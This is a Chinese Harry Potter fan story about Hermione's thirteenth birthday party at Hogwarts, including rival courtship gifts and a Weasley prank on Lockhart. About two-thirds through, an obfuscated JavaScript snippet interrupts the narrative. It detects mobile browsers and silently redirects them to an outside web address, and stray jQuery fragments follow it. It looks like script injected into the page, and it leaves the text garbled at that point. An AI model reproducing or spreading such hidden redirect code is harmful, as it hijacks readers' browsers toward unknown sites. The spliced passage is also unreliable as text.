在霍格沃茨，周六通常是个美好而慵懒的日子。赫敏很享受这种悠闲的节奏和更长的用餐时间。她通常吃完早餐后就去图书馆，一直待到中午，然后再到户外或公共休息室里学习，做些自己的事情，直到晚餐时间。这个周六也差不多如此，赫敏一边啃着吐司，一边浏览着《预言家日报》的头条新闻，这时卢娜神情严肃地走到她面前。
“赫敏，”她语气严肃地说，“有件事你最好看看。”
赫敏瞬间警觉起来。
“出什么事了？”她一边问，一边抓起一个苹果带走，“具体什么情况？”
“是学院的事，”卢娜说着，加快脚步带着她匆匆穿过走廊，“一开始有很多斯莱特林和拉文克劳的学生在，但后来格兰芬多的学生也来了，现在全乱成一团了。”
“等等，什么？在哪儿？”赫敏问，“大家都还好吗？”
“我们得去看看才清楚。”卢娜严肃地说。
赫敏悄悄把魔杖握在手心。
卢娜在一扇门前停下，赫敏能听到里面传来喊叫声和喧闹声。
“我先进去，”赫敏低声对卢娜说，“你掩护我。或者留在这里守门。”
卢娜默默点头，赫敏深吸一口气，在心里默数到三，然后打开了门。
瞬间，嘈杂的叫喊声吵闹声像浪潮般扑面而来，赫敏停下脚步，愣在原地。
“——白痴！她肯定不会喜欢到处都挂着绿色和银色的彩带——”哈利在大声喊道。
“你才是白痴！绿色是她最喜欢的颜色，你这个愚蠢的——” 那听起来像是德拉科。
“蛋糕呢？她马上就到了！”那是特蕾西的声音？
“韦斯莱家的人怎么在这？我不知道我们还需要佣人——”西奥也在？
赫敏看着他们所有人，她的朋友和同学们在一个空教室里跑来跑去，试图用彩带装饰房间。她猛地回头看向卢娜，卢娜给了她一个意味深长的微笑。
“我说了，你最好看看。”她说着，眼睛闪闪发亮。
赫敏翻了个白眼，但一丝微笑还是浮了上来。
她挥动魔杖，随着一声巨响和火花迸溅，所有人都愣住了，房间顿时鸦雀无声，大家的目光齐刷刷转向赫敏。
“嗨，”赫敏打招呼道，上前一步，“谁能告诉我这到底是怎么回事？”
她的笑容很危险。大家交换了一下眼神，有些人不由自主地向后退了一步。
“今天是你的生日，不是吗？”赫敏的目光转向布雷斯，他懒洋洋地坐在房间后方的一张桌子上，布雷斯的眼神闪烁着挑衅的光芒，“你说过我们不能在公共休息室里给你办派对，所以……”
赫敏意识到自己中了圈套。
“所以你们就改在这里，在一个废弃教室里办派对，”她总结道，环顾四周，“还邀请了所有人？”
“扎比尼邀请我的，”哈利向前一步说，他狐疑地看了德拉科一眼，“他说想邀请你所有朋友，所以我和纳威罗恩当然得来——”
“你们几乎把韦斯莱一家都带来了，”潘西从一个巨大的丝带蝴蝶结后面探出头来，抱怨道，“为什么双胞胎和韦斯莱家的小丫头也在这儿？”
赫敏觉得有些好笑，偏偏是潘西，竟然在批评别人为什么在场，如果说有谁不是她的朋友，那一定是潘西。
“我把金妮带来的，”卢娜说，“我认识她，她人很好。”
赫敏看向韦斯莱双子，弗雷德和乔治正咧嘴笑着。
“我们听说你的派对——”弗雷德开口。
“——从我们的大嘴巴弟弟那里，他正愁送你什么礼物——”乔治补充。
“——我们认为这是一个绝佳的机会，向你们展示我们的本事和创造力——”
“——希望能把你拉到恶作剧的阵营来！”
他们的眼睛闪闪发光，赫敏忍不住笑了。
“好吧，”她说，“那么……是谁在主持这个派对？你们想让我做什么？”
特蕾西僵住了。
“呃……”她开口，“我想应该是我。但是一切都还没准备好——我们还没挂彩带呢——”
“那是因为马尔福认为你最喜欢的颜色是斯莱特林学院的代表色。”纳威说。
“本来就是！”德拉科反驳道，“你总是穿绿色和银色的衣服！”
“其实是紫色。”赫敏评论道。她挥动魔杖，彩带便从绿银相间变成了丁香紫。“好了，还有什么？”
“嗯……家养小精灵们应该已经准备好蛋糕了……”
“现在才刚吃完早饭，”米莉指出，“一时半会儿应该没人想吃蛋糕。”
“然后，就只剩下……”特蕾西有些吞吞吐吐。
“什么？”赫敏追问。
特蕾西脸红了。
“好吧，”她说着，耳朵通红，“我们本来应该一起大喊‘Surprise!’的。”
……
赫敏的生日派对是她经历过的最古怪的事情之一。
首先，她所有的朋友都来了，甚至还有一些熟人。这意味着不仅她的斯莱特林同学，哈利、纳威、罗恩、韦斯莱双子和金妮，安东尼、泰瑞、曼迪和迈克尔也都来了。还有厄尼·麦克米兰和贾斯延·芬奇-弗莱奇尼也在，不过赫敏不知道他们为什么来。厄尼大部分时间都在和跟着哈利来的那个小摄影师科林聊天，所以至少他们没跟着吵起来。
尽管大家是为了同一个目标聚在一起，但争吵却从未停止。他们先是玩了“给半人马贴尾巴”，接着又玩了“两个真话一个假”，两次都有人指责作弊。第一次的指控还算合理——赫敏相当肯定西奥在眼罩下偷看了——但德拉科指控韦斯莱双胞胎在他的饮料里下了吐真剂就有点过分了。
当特蕾西宣布下一个游戏是为了向她的麻瓜血统致敬，并拿出一个空瓶子要转时，赫敏赶紧叫停了。
“大家休息一下，吃点蛋糕，好吗？”她说。
“好啊，”布雷斯同意，坐倒在她旁边的地上，“我们还可以送礼物。”
“哦，对！”特蕾西拍手，“我竟然忘了礼物的事！”
大家在地上围坐成一个歪歪扭扭的圈，格兰芬多的学生和斯莱特林的学生分坐在两边，拉文克劳和赫奇帕奇的学生夹在中间。赫敏的右边坐着哈利，布雷斯坐在她左边，面带调侃。
“这派对真够可以的，”布雷斯环顾四周，咧嘴笑道，“我从没见过学院之间相处得这么融洽。”
“我来之前他们就一直在争吵！”赫敏抗议。
布雷斯的眼睛闪着诙谐的光：“至少，目前还没有人死亡，不是吗？”
蛋糕是一个巨大的巧克力怪物，让赫敏有点小罪恶感的是，她觉得它的味道真不错。她想了想父母如果知道她竟然在这么短的时间内吃下了这么多精制糖会是什么反应，不禁打了个寒颤，但这蛋糕实在是太美味了，赫敏还是愉快地吃完了。
当特蕾西分发蛋糕时，她的同学们开始送她礼物，按照巫师界的传统，赫敏必须当面打开，让大家都看到她收到了什么。
大部分礼物都很不错，赫敏很喜欢。西奥送了她一本关于澳大利亚魔药制作的书，既有趣又好玩。米莉送了一支精致的鹰羽羽毛笔，特蕾西则送了一条她用母亲旧长袍改缝制的黑色天鹅绒裙子。达芙妮和潘西各自送了她新墨水，哈利和纳威都送了糖羽毛笔（罗恩则送了一只巧克力蛙），大多数拉文克劳朋友都送了书。
然而，随着礼物陆续送出，赫敏察觉到房间里的气氛越来越紧张。她困惑地环顾四周。德拉科和安东尼正互相瞪着对方，而布雷斯对他俩一脸不耐。两人都还没送她礼物——难道他们都在故意拖延时间，好让自己的成为最后一份？
韦斯莱双胞胎看起来觉得这一切很有趣，科林则不停地用他那台笨重的相机拍照。
“就这些了吗？”卢娜用她那轻快飘忽的声音问道，“哦，好的。那么，我——”
“等等，”德拉科连忙打断，“我……我还有礼物要送。”
德拉科走上前，把一个小盒子推到她面前，赫敏好奇地打量着。她轻轻摇了摇，听到里面东西晃动的声音，然后打开了盒子。
盒子里面装着一个精致的玻璃和银制成的陀螺、一面镜子，以及一条奇怪的链子，上面挂着一个像勺子一样的吊坠。赫敏小心地拿起陀螺，在手里仔细端详。
“真漂亮，”她开口说道，“谢谢你，德拉科。”
德拉科放松了些，骄傲让他挺直了腰背。
“它们是黑魔法探测器，”他告诉她，“这是窥镜——高品质的。那个是照敌镜，另一个是探密器。”
“在斯莱特林？”布雷斯打趣道，“恐怕它永远不会停止警报。”
德拉科脸红了。
“有总比没有好，”他厉声说，“这些东西能帮赫敏保证安全。”
此话一出，周围响起了一阵低语。在纯血统文化中，赠送提供安全保护的礼物有着非常特殊的含义，赫敏清楚这一点。
“你考虑得很周到，德拉科，”赫敏说着，小心地把东西都放回盒子里，递给卢娜——不知怎的，卢娜成了礼物后勤负责人。她对德拉科微微一笑，“谢谢你。”
德拉科回以笑容，然后朝正站起身拍打衣服的安东尼投去一个恶意的冷笑。
“我也还有礼物送你。”安东尼说。他拿出一个大盒子，动作华丽地递给她，但没有坐回去。
“小心。”卢娜的警告轻柔地拂过她的耳畔，“小心，这里……”
赫敏放轻动作，小心翼翼地打开盒子，不禁倒吸了一口气。
里面是一套漂亮华丽的珠光长袍，颜色随着光线闪烁变幻。赫敏把长袍拿出来，房间里其他人也低声议论起来。安东尼对她的反应很得意，胜利地瞥了德拉科一眼，后者正坐在那里瞪着他。
“安东尼，这太美了，”赫敏说，声音里仍带着惊讶，“你不用这么破费的。谢谢你。”
她知道，衣服是传统的追求礼物。送衣服当然可以，但这也暗示着某种意图。而他当着众人的面送她这件华丽的长袍，无疑是在表明某种态度。
“还有呢，”安东尼说，“看。”
赫敏低头查看，在盒子里翻找出剩下的唯一东西。她拿出来时，房间响起一阵惊呼和抽气声，然后瞬间安静下来。
“发生什么事了？”罗恩好奇问，纳威狠狠捅了他一下。
“那是一枚戒指，”纳威用气声说，“那是珠宝，罗恩。你总该知道这意味着什么吧？”
从罗恩的表情来看，显然他并不知道。哈利也一脸困惑。
“它叫心情戒指，”安东尼说，“是我妈妈从麻瓜商店买的。据说能根据宝石的颜色变化来判断你的心情。”
“真有趣，”赫敏勉强说道，嘴唇发干，“我都不知道你母亲还会去麻瓜商店。”
“我家思想比较开明。”安东尼眨眨眼，“不像某些人。”
赫敏一动不动地坐着，看着手里的戒指。任何珠宝首饰都是求爱的礼物——不仅是表达爱慕，更是正式的意向宣示。她曾读到过魔法世界的求爱习俗从很小就开始，但赫敏的内心依然对此感到抗拒。她才刚满十三岁！
“而且，”安东尼补充道，声音得意，“我妈妈是在玩具区买的。”
这话又引起一阵低语，赫敏立刻明白了安东尼的用意。声称这是玩具，而不是正式表白，尽管当着众人的面送给她……
“你不能这么做！”德拉科激烈地反对道，赫敏的目光转向他，德拉科一脸怒火，“那是一枚戒指，不管你怎么包装！”
“这是麻瓜玩具，”安东尼争辩，“是用来测试心情的。”
“哦，所以如果赫敏把它传给所有人，看看大家的心情，你也不介意？”德拉科质问道。
安东尼只犹豫了一秒：“当然不介意。它是赫敏的，她想怎么处置就怎么处置。”
德拉科和安东尼互相怒视着彼此，女生们则瞪大眼睛看着赫敏，等着看她要怎么做。直接拒绝礼物未免失礼，那样也等于拒绝安东尼的殷勤和那未明说却已表露的意图，赫敏并不完全确定自己是否真的想这么做——他聪明，英俊，或许等她长大到会喜欢上别人的时候，她也许会喜欢上他。然而，赫敏知道自己现在不想接受戒指，从而接受他的追求。她还太小了！不想谈恋爱！她强忍住咬嘴唇的冲动，飞快思考着。
“你说它能检测心情？”赫敏轻描淡写地问。
安东尼转过身看着她，嘴角微微上扬。
“是啊，”他说，“不知道是什么原理，麻瓜魔法？”
赫敏再次端详那枚戒指，在指间把玩着，却始终没有戴上。
“真有意思。”她评论道。赫敏低声念了一句咒语，轻轻一扭，石头便从粘着它的钢环上脱落下来。她扔掉金属环，把石头放在掌心。周围的女生们交换眼神，窃窃私语。
“它变成蓝色了，”她说，目光对上安东尼，“这代表什么心情？”
“放松或者平静？”卢娜在她身后回答道，她举起一张纸，“盒子里有一张图表。”
“挺准的，”赫敏微笑说，“毕竟，我和所有朋友正在举行一个非常棒的派对。”
她转身，把石头递给哈利。
“它在你那里会变成什么颜色？”她问。
哈利眨了眨眼，低头看着手中的石头。
“呃，黑色，”他说，“那是什么意思？”
“压力很大。”卢娜立即回答道。
“我也想看看！”罗恩说，“把表给我，洛夫古德！”
慢慢地，这变成了一个游戏，大家互相传递石头，对照着颜色来判断对方的心情。
“纳威！它说你感受到了激情！”罗恩惊呼道，“你是不是爱上这屋里谁了？”
纳威脸涨得通红，瞪着罗恩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946615|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“罗恩，这是个愚蠢的麻瓜游戏，”他厉声说，“谁知道它为什么这么说？”
“确实，它说我在生气，”金妮小声补充，“但我并不生气。我觉得它不是所有都准。”
罗恩没理她。
“来，你试试，乔治。”
当石头在众人之间传递时，安东尼的目光再次与赫敏的目光相遇。
“非常感谢你送的长袍，”她轻声道谢，“它真美丽。”
“与你的美丽比起来它不值一提。”安东尼回答道，他的笑容迷人极了，赫敏感到脸颊发烫，“那另一份礼物呢……？”
赫敏稳住呼吸。
“送一个麻瓜玩具给我，让派对上的大家一起玩，真是个好主意，”她斟酌着字句刻意说道，“这块石头很漂亮。”
安东尼微微泄气地叹了口气。这并非直接拒绝，但也并非接受他的表白。她称它为玩具，显然是用了他给她的台阶，而且一次也没有把它称为珠宝。
不过，她还是留下了它。这或许也意味着什么吧。
“我很高兴你喜欢它，”安东尼最后说道，他对她微微一笑，像是释然，“也许有机会，你可以用这块石头做个斗篷的搭扣。”
赫敏微微颔首，微笑着说：“有机会我会的。”
安东尼终于回到他的座位上，赫敏长舒一口气，放松下来，让肌肉不再紧绷。德拉科看起来仍然很不高兴，但已经安静下来，只是低声嘟囔着什么，并不时朝对面的安东尼投去阴沉的目光。
“你处理得很好，”卢娜在她身旁轻声说，“本来有可能会见血的。”
赫敏真心希望卢娜能在这之前就告诉她。
“那就只剩我们的礼物了！”弗雷德兴高采烈地跑过来说。
“不过，你要到午饭时才能看到，”乔治补充。
“如果我的表准的话，”弗雷德说着，敲了敲他的手表。
“就在不到半小时后，”乔治说完，朝她眨了眨眼，“希望你喜欢！”
这番话引发了一阵热议，大家都在猜测韦斯莱双子究竟会送她什么“礼物”。无疑是某种恶作剧——但究竟是针对她还是她的某个敌人，大家的看法却意见不一。
赫敏想知道他们把谁归类为她的敌人。她都不知道自己明面上得罪过谁，也不知道自己到底有多少敌人。
德拉科和布雷斯都看着她，只见她把珠光长袍收了起来，然后把盒子藏到身后看不见的地方。
玩闹一阵后，特蕾西拍了拍手，“最后，精彩压轴来了！”
一个巨大、形状奇特的球被搬了进来。它看起来像是用报纸和硬纸板粘成的，上面装饰着彩带。
“麻瓜有个传统，就是用木棍敲打挂着的小纸马，直到糖果喷出来，”特蕾西告诉大家，“作为巫师版的这个游戏，我要把它抛到空中，然后我们轮流用魔法打它，直到它爆炸。”
哈利坐在赫敏旁边笑了起来。
“皮纳塔？”他问，“她从哪里听说皮纳塔的？”
赫敏耸了耸肩，眼中闪着好笑的光芒。
“她爸爸是麻瓜，”她说，“大概是他和她说过。不过好像翻译过程中出了点问题……”
特蕾西把那个巨球抛向空中，球立刻就被炸飞到天花板上，伴随着尖叫声和一道道光束，大家都在试图击中它。赫敏看着她的朋友们在下面跑来跑去，试图用魔法打中它，笑个不停。他们都那么专注，那么专注地想要打败一个皮纳塔，看起来那么傻，赫敏完全无法止住笑。
终于，当泰瑞·布特用一记精准的切割咒击中它时，皮纳塔球在空中裂开，比比怪味豆散落一地。女生们尖叫着躲闪，许多男生则扑过去试图尽可能多地抓住豆子。
不久之后，午餐铃声响起，大家一起把教室收拾干净，鱼贯而出，关于谁打中了皮纳塔的友好争吵声仍充斥着空气。
“太好玩了，”赫敏在斯莱特林的长桌旁对特蕾西说，特蕾西高兴地眉开眼笑，“谢谢你。”
“我的荣幸，赫敏！”特蕾西大声说，笑容灿烂，“我很高兴你玩得开心。”
“小心你的食物，”米莉提醒，“我们还不知道那对双胞胎搞的什么恶作剧呢。”
午餐开始，包括老师在内的所有人都到礼堂了，饭吃到一半时，双胞胎的恶作剧就显现了。
“吉德罗……？”
听到麦格教授惊愕的语气，赫敏抬头看了一眼。
“怎么了，米勒娃？”洛哈特笑容满面地问。
“你头上有——”麦格教授咽了咽口水，“你头上有一根燃烧的蜡烛。”
“我——等等，你说什么？ ”
赫敏咯咯地笑了起来。果然，洛哈特的头上立着一根蜡烛，大概有一英尺高。
“我感觉不到！”洛哈特尖叫，手臂在头顶乱挥，“帮忙弄掉它！求你了！”
海格站起身，去拿那根蜡烛。
“取不下来，”海格咕哝，“肯定是什么魔法蜡烛。”
“哦，真的吗？”洛哈特的声音又高又慌，“我感觉不出来。”
“好了，好了，”赫敏的目光迅速转向斯内普，他正一脸冷淡的不屑，“既然是根蜡烛，那还能用来干什么？”他慢吞吞地说，“这显然是个恶作剧——只要找到触发条件，它自然就会消失，我敢肯定。”
“比如什么，西弗勒斯？”洛哈特惊慌失措。
“找个人把它吹灭？”斯普劳特教授提议。
“那就拜托了！”
海格深吸一口气，猛地吹向洛哈特头顶，突然，一根蜡烛变成了两根，另一根蜡烛凭空出现在第一根蜡烛旁边。
“啊！它们在繁殖！ ”
“它们在什么？ ”
赫敏咯咯笑着，看着海格吹了一次又一次，越来越多的蜡烛挤在洛哈特教授的头顶，直到十三根蜡烛摇摇欲坠地立在上面。
“显然，吹灭它们不管用，”斯内普拖长语调说，嘴角带着一丝玩味的戏谑，“也许我们应该给你唱生日歌？”
“但今天又不是我生日！”洛哈特反驳道。
“蜡烛似乎不知道这一点，吉德罗，”弗立维教授劝说道，“就算不管用也没什么坏处，值得一试。”
弗立维教授带领着全体教职工和大部分学生齐声高唱起生日快乐歌，赫敏笑得停不下来。这感觉就像全校师生都在为她唱生日歌，但又不是，因为被弄得尴尬的人不是她。歌声接近尾声时，那些蜡烛突然全都炸开，变成了一群小妖精，大厅顿时响起一片又笑又惊的叫声，洛哈特尖叫着冲出礼堂，小妖精们紧追不舍，现场一片热闹。
赫敏笑着望向格兰芬多长桌，那里已经笑成一片。等双胞胎对上她的目光，赫敏便朝他们咧嘴一笑。弗雷德也回以笑容，竖起大拇指，乔治则冲她wink，然后哈哈大笑。
这无疑是最古怪、最超现实的生日之一，也是赫敏度过的最棒的生日之一。